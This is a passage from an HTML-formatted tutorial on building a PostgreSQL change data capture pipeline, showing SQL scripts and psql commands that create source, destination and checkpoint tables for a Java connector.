    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;department&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;salary&lt;/span&gt; &lt;span class="nb"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- Create the CDC events table.&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="n"&gt;BIGSERIAL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;operation&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;record_id&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;changed_data&lt;/span&gt; &lt;span class="n"&gt;JSONB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="k"&gt;CURRENT_TIMESTAMP&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify table creation.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;table_schema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'public'&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'employees'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'cdc_events'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 2: Understanding the Employees Table
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;employees&lt;/code&gt; table stores the original employee data.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Primary key. Uses &lt;code&gt;SERIAL&lt;/code&gt; to generate employee IDs automatically.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee name. Cannot be NULL.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;department&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee's department.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;salary&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee salary, stored with two decimal places.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;id&lt;/code&gt; column uniquely identifies each employee record. It will also be used by the CDC connector to identify which destination record needs to be inserted, updated, or deleted.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Understanding the CDC Events Table
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;cdc_events&lt;/code&gt; table acts as the change log for our CDC pipeline. Whenever an employee record is inserted, updated, or deleted, the PostgreSQL trigger will capture the operation and store an event in this table.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;event_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Primary key. Uses &lt;code&gt;BIGSERIAL&lt;/code&gt; to generate a unique event ID.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;operation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Identifies the operation: INSERT, UPDATE, or DELETE.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;record_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Contains the ID of the employee record affected by the operation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;changed_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores the captured record data in PostgreSQL's &lt;code&gt;JSONB&lt;/code&gt; format.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;created_at&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Records when the event was created. Defaults to the current timestamp.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A few important details:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;BIGSERIAL:&lt;/strong&gt; Automatically generates a unique event ID using a sequence. The Java connector uses this ID when reading and tracking CDC events.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JSONB:&lt;/strong&gt; PostgreSQL's binary JSON data type. It allows the captured employee data to be stored in a structured format.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;operation:&lt;/strong&gt; Identifies the type of database change so the connector knows which operation to apply to the destination table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;record_id:&lt;/strong&gt; Identifies the employee record associated with the event.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The trigger function that populates this table will be implemented in Section 4.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 4: Execute the SQL Script
&lt;/h4&gt;

&lt;p&gt;Connect to the &lt;code&gt;cdc_source&lt;/code&gt; database using &lt;code&gt;psql&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_source
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, execute the script directly from the project root directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; cdc_source &lt;span class="nt"&gt;-f&lt;/span&gt; sql/02_create_source_tables.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 5: Verify Table Creation
&lt;/h4&gt;

&lt;p&gt;The final query in the script checks the PostgreSQL &lt;code&gt;information_schema.tables&lt;/code&gt; catalog to confirm that both tables exist in the &lt;code&gt;public&lt;/code&gt; schema.&lt;/p&gt;

&lt;p&gt;You should see output similar to the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; table_name
-------------
 cdc_events
 employees
(2 rows)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both tables are now ready. In the next section, we will create the destination database and prepare it to receive the synchronized employee records.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 Creating the Destination Database
&lt;/h3&gt;

&lt;p&gt;Now that the source database and its tables are ready, the next step is to create the destination database.&lt;/p&gt;

&lt;p&gt;The destination database, &lt;code&gt;cdc_destination&lt;/code&gt;, will store the employee records synchronized from the source database by our Java CDC connector.&lt;/p&gt;

&lt;p&gt;The connector reads change events from &lt;code&gt;cdc_source&lt;/code&gt; and applies the corresponding INSERT, UPDATE, and DELETE operations to the destination database.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Create the Destination Database
&lt;/h4&gt;

&lt;p&gt;The following SQL script creates the &lt;code&gt;cdc_destination&lt;/code&gt; database if it does not already exist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;sql/05_create_destination_database.sql&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 05_create_destination_database.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create the destination database for CDC&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;-- Create the destination database if it does not already exist.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'CREATE DATABASE cdc_destination'&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_database&lt;/span&gt;
    &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cdc_destination'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;gexec&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify database creation.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_database&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;datname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cdc_destination'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 2: Understanding the SQL Script
&lt;/h4&gt;

&lt;p&gt;The script uses the PostgreSQL system catalog &lt;code&gt;pg_database&lt;/code&gt; to check whether a database named &lt;code&gt;cdc_destination&lt;/code&gt; already exists.&lt;/p&gt;

&lt;p&gt;Let's look at the important parts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Database existence check:&lt;/strong&gt; The &lt;code&gt;SELECT&lt;/code&gt; statement checks &lt;code&gt;pg_database&lt;/code&gt; for an existing database named &lt;code&gt;cdc_destination&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conditional creation:&lt;/strong&gt; If the database does not exist, the query returns the SQL statement &lt;code&gt;CREATE DATABASE cdc_destination&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;\gexec&lt;/code&gt;:&lt;/strong&gt; This &lt;code&gt;psql&lt;/code&gt; meta-command executes the SQL statement returned by the query. If the database already exists, no statement is returned, so no creation is attempted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification:&lt;/strong&gt; The final query checks &lt;code&gt;pg_database&lt;/code&gt; again and displays the destination database name.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach makes the script safe to execute more than once without attempting to recreate an existing database.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Execute the SQL Script
&lt;/h4&gt;

&lt;p&gt;Connect to the default PostgreSQL database (&lt;code&gt;postgres&lt;/code&gt;) using &lt;code&gt;psql&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; postgres
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, execute the script directly from the project root directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-d&lt;/span&gt; postgres &lt;span class="nt"&gt;-f&lt;/span&gt; sql/05_create_destination_database.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 4: Verify Database Creation
&lt;/h4&gt;

&lt;p&gt;After successful execution, the verification query should display output similar to the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    datname
-----------------
 cdc_destination
(1 row)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;cdc_destination&lt;/code&gt; database is now ready.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical Note:&lt;/strong&gt; Just like the source database creation script, this script uses &lt;code&gt;\gexec&lt;/code&gt;, which is a &lt;code&gt;psql&lt;/code&gt; meta-command rather than standard SQL. Execute it using the PostgreSQL command-line client (&lt;code&gt;psql&lt;/code&gt;). It will not work directly in pgAdmin's Query Tool or other SQL editors that do not support &lt;code&gt;psql&lt;/code&gt; meta-commands.&lt;/p&gt;

&lt;p&gt;In the next section, we will create the destination tables required to store synchronized employee records and maintain CDC checkpoint information.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.5 Creating the Destination Tables
&lt;/h3&gt;

&lt;p&gt;Now that the &lt;code&gt;cdc_destination&lt;/code&gt; database has been created, we need to create the tables required by the CDC pipeline.&lt;/p&gt;

&lt;p&gt;We will create two tables:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;employees&lt;/strong&gt; – Stores employee records synchronized from the source database.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;cdc_checkpoint&lt;/strong&gt; – Maintains the last processed CDC event ID, allowing the Java connector to resume processing from its previous position after a restart.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Step 1: Create the Destination Employees Table
&lt;/h4&gt;

&lt;p&gt;The destination &lt;code&gt;employees&lt;/code&gt; table has the same columns as the source &lt;code&gt;employees&lt;/code&gt; table. However, there is one important difference: the &lt;code&gt;id&lt;/code&gt; column is defined as &lt;code&gt;INTEGER PRIMARY KEY&lt;/code&gt; instead of &lt;code&gt;SERIAL PRIMARY KEY&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The destination receives employee IDs from the source database, so it does not need to generate new IDs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;sql/06_create_destination_tables.sql&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 06_create_destination_tables.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create destination employee table&lt;/span&gt;
&lt;span class="c1"&gt;-- Database: cdc_destination&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;-- Create the destination employees table.&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;employees&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;department&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;salary&lt;/span&gt; &lt;span class="nb"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify table creation.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;table_schema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'public'&lt;/span&gt;
  &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'employees'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 2: Understanding the Destination Employees Table
&lt;/h4&gt;

&lt;p&gt;The destination table stores the employee records replicated from the source database.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Primary key. Stores the employee ID received from the source database.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee name. Cannot be NULL.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;department&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee's department.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;salary&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee salary, stored with two decimal places.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why is &lt;code&gt;id&lt;/code&gt; defined as INTEGER instead of SERIAL?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the source database, PostgreSQL automatically generates employee IDs using &lt;code&gt;SERIAL&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;However, the destination database must preserve the original employee IDs. The Java connector reads the employee ID from the CDC event and uses that same ID when inserting or updating the destination record.&lt;/p&gt;

&lt;p&gt;Therefore, the destination table uses &lt;code&gt;INTEGER PRIMARY KEY&lt;/code&gt; rather than generating its own IDs.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Create the CDC Checkpoint Table
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;cdc_checkpoint&lt;/code&gt; table maintains the processing position of the Java CDC connector.&lt;/p&gt;

&lt;p&gt;The connector uses this table to determine which CDC events have already been processed. After successfully applying a batch of changes to the destination database, it updates the checkpoint with the last processed event ID.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;File: &lt;code&gt;sql/07_create_checkpoint_table.sql&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;-- File: 07_create_checkpoint_table.sql&lt;/span&gt;
&lt;span class="c1"&gt;-- Purpose: Create CDC connector checkpoint table&lt;/span&gt;
&lt;span class="c1"&gt;-- Database: cdc_destination&lt;/span&gt;
&lt;span class="c1"&gt;-- ============================================================&lt;/span&gt;

&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;cdc_checkpoint&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;connector_name&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;last_processed_event_id&lt;/span&gt; &lt;span class="nb"&gt;BIGINT&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;updated_at&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="k"&gt;CURRENT_TIMESTAMP&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- Initialize the checkpoint for our CDC connector.&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;cdc_checkpoint&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;connector_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;last_processed_event_id&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'employee-cdc-connector'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;CONFLICT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connector_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DO&lt;/span&gt; &lt;span class="k"&gt;NOTHING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Verify checkpoint initialization.&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_checkpoint&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;connector_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'employee-cdc-connector'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 4: Understanding the CDC Checkpoint Table
&lt;/h4&gt;

&lt;p&gt;Let's understand the purpose of each column.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connector_name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Primary key identifying the CDC connector.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;last_processed_event_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores the ID of the last successfully processed CDC event.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;updated_at&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Records when the checkpoint row was initially created.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A few important details:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;connector_name:&lt;/strong&gt; Identifies the connector whose processing position is being tracked. In our implementation, the connector name is &lt;code&gt;employee-cdc-connector&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;last_processed_event_id:&lt;/strong&gt; Initially set to &lt;code&gt;0&lt;/code&gt;. As the connector processes CDC events, this value is updated to reflect the last processed event ID.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;updated_at:&lt;/strong&gt; Defaults to the current timestamp when the checkpoint row is inserted.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The initialization statement uses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;CONFLICT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connector_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DO&lt;/span&gt; &lt;span class="k"&gt;NOTHING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prevents duplicate checkpoint entries if the initialization script is executed more than once. If a checkpoint row already exists for the connector, its existing value is preserved.&lt;/p&gt;

&lt;p&gt;The Java connector will use this checkpoint to resume processing after a restart.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 5: Execute the SQL Scripts
&lt;/h4&gt;

